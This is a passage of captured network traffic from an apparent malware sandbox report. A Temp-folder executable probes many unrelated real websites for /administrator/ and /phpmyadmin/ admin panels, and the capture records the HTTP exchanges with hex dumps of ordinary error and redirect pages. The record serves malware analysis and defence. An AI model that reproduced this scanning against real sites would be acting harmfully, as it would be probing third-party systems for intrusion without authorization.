Dec 20, 2023 03:13:22.372040033 CET	846	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:22 GMT Content-Length: 0 Connection: keep-alive location: https://www.u90soccercenter.com/administrator strict-transport-security: max-age=3600 x-wix-request-id: 1703038402.2381655375712123433 Age: 0 Server-Timing: cache;desc=miss, varnish;desc=miss, dc;desc=42 X-Seen-By: pmHZlB45NPy7b1VBAukQrewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLqMQhUjPXFZZ6QMfhZ0ZUmYa0sM5c8dDUFHeNaFq0qDu,2d58ifebGbosy5xc+FRalh9dSXFnbVkuWm6RM1u/98dhc6Zd1dFWeQLjaNe/maN6h3qEg9Mh7Rs5HUBYKvaWVg==,2UNV7KOq4oGjA5+PKsX47PIHZG7rU4AwWR8fGXl1XwJYgeUJqUXtid+86vZww+nL,NLdhiUa+sSIsGDI1KKnLVioG5v0XsZRzDHjumEtRhsY=,qvL1IlBGMJky1zI38Re9DZCi+DrJi6r6ocpPVESG7rc=,0gGrL7iazMoiuqlb7dEO3cDVdeO+gHjyx+eGG5eJGwDGaYceIjUV4QD2pRSaubKdhY4NbCqWhXGeRDkZ8kv3ng== Cache-Control: no-cache X-Content-Type-Options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	53672	3.94.41.167	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.165185928 CET	184	OUT	GET /administrator/ HTTP/1.1 Host: uniqueaustralian.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:22.318223000 CET	159	IN	HTTP/1.1 302 Found content-length: 0 date: Wed, 20 Dec 2023 02:13:21 GMT location: https://www.hugedomains.com/domain_profile.cfm?d=uniqueaustralian.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	53663	198.49.23.145	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.168447971 CET	178	OUT	GET /administrator/ HTTP/1.1 Host: qihabitats.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:22.336602926 CET	287	IN	HTTP/1.1 301 Moved Permanently Age: 31229 Content-Length: 0 Date: Tue, 19 Dec 2023 17:32:52 GMT Location: https://www.qihabitats.com/administrator/ Server: Squarespace Set-Cookie: crumb=BcWIGYrM9wCfNzgwZWU5OTVhZWE3ZDUyNzQwMTNjZDZlNzY3Y2Uw;Path=/ X-Contextid: kJ1wsVdZ/tBMTs8uT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	53683	64.182.43.254	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.168467999 CET	176	OUT	GET /administrator/ HTTP/1.1 Host: rushroom.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:22.329194069 CET	1286	IN	HTTP/1.1 404 Not Found content-type: text/html server: Microsoft-IIS/7.5 x-powered-by: ASP.NET date: Wed, 20 Dec 2023 02:13:22 GMT content-length: 1635 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 54 68 65 20 70 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 66 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 57 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0d 0a 3c 53 54 59 4c 45 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 42 4f 44 59 20 7b 20 66 6f 6e 74 3a 20 38 70 74 2f 31 32 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 20 48 31 20 7b 20 66 6f 6e 74 3a 20 31 33 70 74 2f 31 35 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 20 48 32 20 7b 20 66 6f 6e 74 3a 20 38 70 74 2f 31 32 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 20 41 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 72 65 64 20 7d 0d 0a 20 20 41 3a 76 69 73 69 74 65 64 20 7b 20 63 6f 6c 6f 72 3a 20 6d 61 72 6f 6f 6e 20 7d 0d 0a 3c 2f 53 54 59 4c 45 3e 0d 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 3c 54 41 42 4c 45 20 77 69 64 74 68 3d 35 30 30 20 62 6f 72 64 65 72 3d 30 20 63 65 6c 6c 73 70 61 63 69 6e 67 3d 31 30 3e 3c 54 52 3e 3c 54 44 3e 0d 0a 0d 0a 3c 68 31 3e 54 68 65 20 70 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 66 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 54 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 2c 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 0d 0a 3c 68 72 3e 0d 0a 3c 70 3e 50 6c 65 61 73 65 20 74 72 79 20 74 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 3a 3c 2f 70 3e 0d 0a 3c 75 6c 3e 0d 0a 3c 6c 69 3e 4d 61 6b 65 20 73 75 72 65 20 74 68 61 74 20 74 68 65 20 57 65 62 20 73 69 74 65 20 61 64 64 72 65 73 73 20 64 69 73 70 6c 61 79 65 64 20 69 6e 20 74 68 65 20 61 64 64 72 65 73 73 20 62 61 72 20 6f 66 20 79 6f 75 72 20 62 72 6f 77 73 65 72 20 69 73 20 73 70 65 6c 6c 65 64 20 61 6e 64 20 66 6f 72 6d 61 74 74 65 64 20 63 6f 72 72 65 63 74 6c 79 2e 3c 2f 6c 69 3e 0d 0a 3c 6c 69 3e 49 66 20 79 6f 75 20 72 65 61 63 68 65 64 20 74 68 69 73 20 70 61 67 65 20 62 79 20 63 6c 69 63 6b 69 6e 67 20 61 20 6c 69 6e 6b 2c 20 63 6f 6e 74 61 63 74 0d 0a 20 74 68 65 20 57 65 62 20 73 69 74 65 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 74 6f 20 61 6c 65 72 74 20 74 68 65 6d 20 74 68 61 74 20 74 68 65 20 6c 69 6e 6b 20 69 73 20 69 6e 63 6f 72 72 65 63 74 6c 79 20 66 6f 72 6d 61 74 74 65 64 2e 0d 0a 3c 2f 6c 69 3e 0d 0a 3c 6c 69 3e 43 6c 69 63 6b 20 74 68 65 20 3c 61 20 68 72 65 66 3d 22 6a 61 76 61 73 63 72 69 70 74 3a 68 69 73 74 6f 72 79 2e 62 61 63 6b 28 31 29 22 3e 42 61 63 6b 3c 2f 61 3e 20 62 75 74 74 6f 6e 20 74 6f 20 74 72 79 20 61 6e 6f 74 68 65 72 20 6c 69 6e 6b 2e 3c 2f 6c 69 3e 0d 0a 3c 2f 75 6c 3e 0d 0a 3c 68 32 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 62 72 3e 49 6e 74 65 72 6e 65 74 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 53 65 72 76 69 63 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>The page cannot be found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=Windows-1252"><STYLE type="text/css"> BODY { font: 8pt/12pt verdana } H1 { font: 13pt/15pt verdana } H2 { font: 8pt/12pt verdana } A:link { color: red } A:visited { color: maroon }</STYLE></HEAD><BODY><TABLE width=500 border=0 cellspacing=10><TR><TD><h1>The page cannot be found</h1>The page you are looking for might have been removed, had its name changed, or is temporarily unavailable.<hr><p>Please try the following:</p><ul><li>Make sure that the Web site address displayed in the address bar of your browser is spelled and formatted correctly.</li><li>If you reached this page by clicking a link, contact the Web site administrator to alert them that the link is incorrectly formatted.</li><li>Click the <a href="javascript:history.back(1)">Back</a> button to try another link.</li></ul><h2>HTTP Error 404 - File or directory not found.<br>Internet Information Service
Dec 20, 2023 03:13:22.329206944 CET	509	IN	Data Raw: 73 20 28 49 49 53 29 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 0d 0a 3c 70 3e 54 65 63 68 6e 69 63 61 6c 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 28 66 6f 72 20 73 75 70 70 6f 72 74 20 70 65 72 73 6f 6e 6e 65 6c 29 3c 2f 70 3e 0d 0a 3c 75 6c 3e 0d 0a 3c 6c Data Ascii: s (IIS)</h2><hr><p>Technical Information (for support personnel)</p><ul><li>Go to <a href="http://go.microsoft.com/fwlink/?linkid=8180">Microsoft Product Support Services</a> and perform a title search for the words <b>HTTP</b> and <b>
Dec 20, 2023 03:13:22.412494898 CET	230	OUT	GET /administrator/index.php HTTP/1.1 Host: rushroom.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://rushroom.com/administrator/
Dec 20, 2023 03:13:23.126178026 CET	1286	IN	HTTP/1.1 404 Not Found content-type: text/html server: Microsoft-IIS/7.5 x-powered-by: PHP/5.3.5 x-powered-by: ASP.NET date: Wed, 20 Dec 2023 02:13:22 GMT content-length: 1635 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 54 68 65 20 70 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 66 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 57 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0d 0a 3c 53 54 59 4c 45 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 42 4f 44 59 20 7b 20 66 6f 6e 74 3a 20 38 70 74 2f 31 32 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 20 48 31 20 7b 20 66 6f 6e 74 3a 20 31 33 70 74 2f 31 35 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 20 48 32 20 7b 20 66 6f 6e 74 3a 20 38 70 74 2f 31 32 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 20 41 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 72 65 64 20 7d 0d 0a 20 20 41 3a 76 69 73 69 74 65 64 20 7b 20 63 6f 6c 6f 72 3a 20 6d 61 72 6f 6f 6e 20 7d 0d 0a 3c 2f 53 54 59 4c 45 3e 0d 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 3c 54 41 42 4c 45 20 77 69 64 74 68 3d 35 30 30 20 62 6f 72 64 65 72 3d 30 20 63 65 6c 6c 73 70 61 63 69 6e 67 3d 31 30 3e 3c 54 52 3e 3c 54 44 3e 0d 0a 0d 0a 3c 68 31 3e 54 68 65 20 70 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 66 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 54 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 2c 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 0d 0a 3c 68 72 3e 0d 0a 3c 70 3e 50 6c 65 61 73 65 20 74 72 79 20 74 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 3a 3c 2f 70 3e 0d 0a 3c 75 6c 3e 0d 0a 3c 6c 69 3e 4d 61 6b 65 20 73 75 72 65 20 74 68 61 74 20 74 68 65 20 57 65 62 20 73 69 74 65 20 61 64 64 72 65 73 73 20 64 69 73 70 6c 61 79 65 64 20 69 6e 20 74 68 65 20 61 64 64 72 65 73 73 20 62 61 72 20 6f 66 20 79 6f 75 72 20 62 72 6f 77 73 65 72 20 69 73 20 73 70 65 6c 6c 65 64 20 61 6e 64 20 66 6f 72 6d 61 74 74 65 64 20 63 6f 72 72 65 63 74 6c 79 2e 3c 2f 6c 69 3e 0d 0a 3c 6c 69 3e 49 66 20 79 6f 75 20 72 65 61 63 68 65 64 20 74 68 69 73 20 70 61 67 65 20 62 79 20 63 6c 69 63 6b 69 6e 67 20 61 20 6c 69 6e 6b 2c 20 63 6f 6e 74 61 63 74 0d 0a 20 74 68 65 20 57 65 62 20 73 69 74 65 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 74 6f 20 61 6c 65 72 74 20 74 68 65 6d 20 74 68 61 74 20 74 68 65 20 6c 69 6e 6b 20 69 73 20 69 6e 63 6f 72 72 65 63 74 6c 79 20 66 6f 72 6d 61 74 74 65 64 2e 0d 0a 3c 2f 6c 69 3e 0d 0a 3c 6c 69 3e 43 6c 69 63 6b 20 74 68 65 20 3c 61 20 68 72 65 66 3d 22 6a 61 76 61 73 63 72 69 70 74 3a 68 69 73 74 6f 72 79 2e 62 61 63 6b 28 31 29 22 3e 42 61 63 6b 3c 2f 61 3e 20 62 75 74 74 6f 6e 20 74 6f 20 74 72 79 20 61 6e 6f 74 68 65 72 20 6c 69 6e 6b 2e 3c 2f 6c 69 3e 0d 0a 3c 2f 75 6c 3e 0d 0a 3c 68 32 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 62 72 3e 49 6e 74 Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>The page cannot be found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=Windows-1252"><STYLE type="text/css"> BODY { font: 8pt/12pt verdana } H1 { font: 13pt/15pt verdana } H2 { font: 8pt/12pt verdana } A:link { color: red } A:visited { color: maroon }</STYLE></HEAD><BODY><TABLE width=500 border=0 cellspacing=10><TR><TD><h1>The page cannot be found</h1>The page you are looking for might have been removed, had its name changed, or is temporarily unavailable.<hr><p>Please try the following:</p><ul><li>Make sure that the Web site address displayed in the address bar of your browser is spelled and formatted correctly.</li><li>If you reached this page by clicking a link, contact the Web site administrator to alert them that the link is incorrectly formatted.</li><li>Click the <a href="javascript:history.back(1)">Back</a> button to try another link.</li></ul><h2>HTTP Error 404 - File or directory not found.<br>Int
Dec 20, 2023 03:13:23.126239061 CET	143	IN	Data Raw: 65 72 6e 65 74 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 53 65 72 76 69 63 65 73 20 28 49 49 53 29 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 0d 0a 3c 70 3e 54 65 63 68 6e 69 63 61 6c 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 28 66 6f 72 20 73 75 70 70 6f 72 74 Data Ascii: ernet Information Services (IIS)</h2><hr><p>Technical Information (for support personnel)</p><ul><li>Go to <a href="http://go.microsoft
Dec 20, 2023 03:13:23.126410961 CET	391	IN	Data Raw: 2e 63 6f 6d 2f 66 77 6c 69 6e 6b 2f 3f 6c 69 6e 6b 69 64 3d 38 31 38 30 22 3e 4d 69 63 72 6f 73 6f 66 74 20 50 72 6f 64 75 63 74 20 53 75 70 70 6f 72 74 20 53 65 72 76 69 63 65 73 3c 2f 61 3e 20 61 6e 64 20 70 65 72 66 6f 72 6d 20 61 20 74 69 74 Data Ascii: .com/fwlink/?linkid=8180">Microsoft Product Support Services</a> and perform a title search for the words <b>HTTP</b> and <b>404</b>.</li><li>Open <b>IIS Help</b>, which is accessible in IIS Manager (inetmgr), and search for topics titled

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	53667	64.91.249.20	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.173110008 CET	183	OUT	GET /administrator/ HTTP/1.1 Host: recipe-for-kids.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:22.354093075 CET	366	IN	HTTP/1.1 302 Moved Temporarily Date: Wed, 20 Dec 2023 02:13:22 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 X-Powered-By: PHP/5.4.16 Connection: close Cache-Control: no-cache Pragma: no-cache Location: http://ww7.recipe-for-kids.com/administrator/?usid=27&utid=4254986923 Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	53669	162.215.248.230	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.205307007 CET	179	OUT	GET /administrator/ HTTP/1.1 Host: devnetmedia.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:22.471184969 CET	226	IN	HTTP/1.1 409 Conflict Date: Wed, 20 Dec 2023 02:13:22 GMT Server: Apache Content-Length: 83 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>
Dec 20, 2023 03:13:22.471425056 CET	236	OUT	GET /administrator/index.php HTTP/1.1 Host: devnetmedia.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://devnetmedia.com/administrator/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	53727	162.159.134.42	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.269046068 CET	180	OUT	GET /administrator/ HTTP/1.1 Host: directa-plus.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:22.599500895 CET	937	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:22 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://directa-plus.com/administrator/ CF-Ray: 83845d9e8e6eda8f-MIA CF-Cache-Status: BYPASS Vary: Accept-Encoding Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.5;mv=3.0.1 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=fkLwzq1Yt123CnYoxhCsyqz2HWvTD3ZYgYq%2Fd8HjIDqXAjVFcU72RkL3cXoCpvnIUEIHxlJ4xqiJHDkZMnleU2Mtm5eLvXVWLaS1JOtTEQeo%2FOZ35izHcPzg9tEHeHNWmso%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	53723	96.45.112.177	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.297652960 CET	181	OUT	GET /administrator/ HTTP/1.1 Host: texasopendoor.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:22.454859972 CET	386	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Wed, 20 Dec 2023 02:13:22 GMT Content-Type: text/html Content-Length: 178 Connection: keep-alive Location: https://texasopendoor.com/administrator/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body bgcolor="white"><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	53726	66.96.160.139	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.312443018 CET	179	OUT	GET /administrator/ HTTP/1.1 Host: ads-ecuador.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:22.506616116 CET	260	IN	HTTP/1.1 409 Conflict Date: Wed, 20 Dec 2023 02:13:22 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 83 Connection: keep-alive Server: Apache/2 Age: 0 Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>
Dec 20, 2023 03:13:22.866607904 CET	236	OUT	GET /administrator/index.php HTTP/1.1 Host: ads-ecuador.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://ads-ecuador.com/administrator/
Dec 20, 2023 03:13:23.034065962 CET	260	IN	HTTP/1.1 409 Conflict Date: Wed, 20 Dec 2023 02:13:22 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 83 Connection: keep-alive Server: Apache/2 Age: 0 Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	53758	199.59.243.225	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.376765013 CET	174	OUT	GET /phpmyadmin/ HTTP/1.1 Host: onjevilla.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:22.553978920 CET	1200	IN	HTTP/1.1 200 OK date: Wed, 20 Dec 2023 02:13:22 GMT content-type: text/html; charset=utf-8 content-length: 1029 x-request-id: 46afccd9-f2f4-49ec-9b98-8df76b15ea88 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_U9L5TfFCaf+5kfFW6eZPhhDMBpy+ATxHfTKuBa1nNJ85e9WTh8fRoMygXoeXGD53Ms7QM9IJfVXG8U/STjElRQ== set-cookie: parking_session=46afccd9-f2f4-49ec-9b98-8df76b15ea88; expires=Wed, 20 Dec 2023 02:28:22 GMT; path=/ Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 55 39 4c 35 54 66 46 43 61 66 2b 35 6b 66 46 57 36 65 5a 50 68 68 44 4d 42 70 79 2b 41 54 78 48 66 54 4b 75 42 61 31 6e 4e 4a 38 35 65 39 57 54 68 38 66 52 6f 4d 79 67 58 6f 65 58 47 44 35 33 4d 73 37 51 4d 39 49 4a 66 56 58 47 38 55 2f 53 54 6a 45 6c 52 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 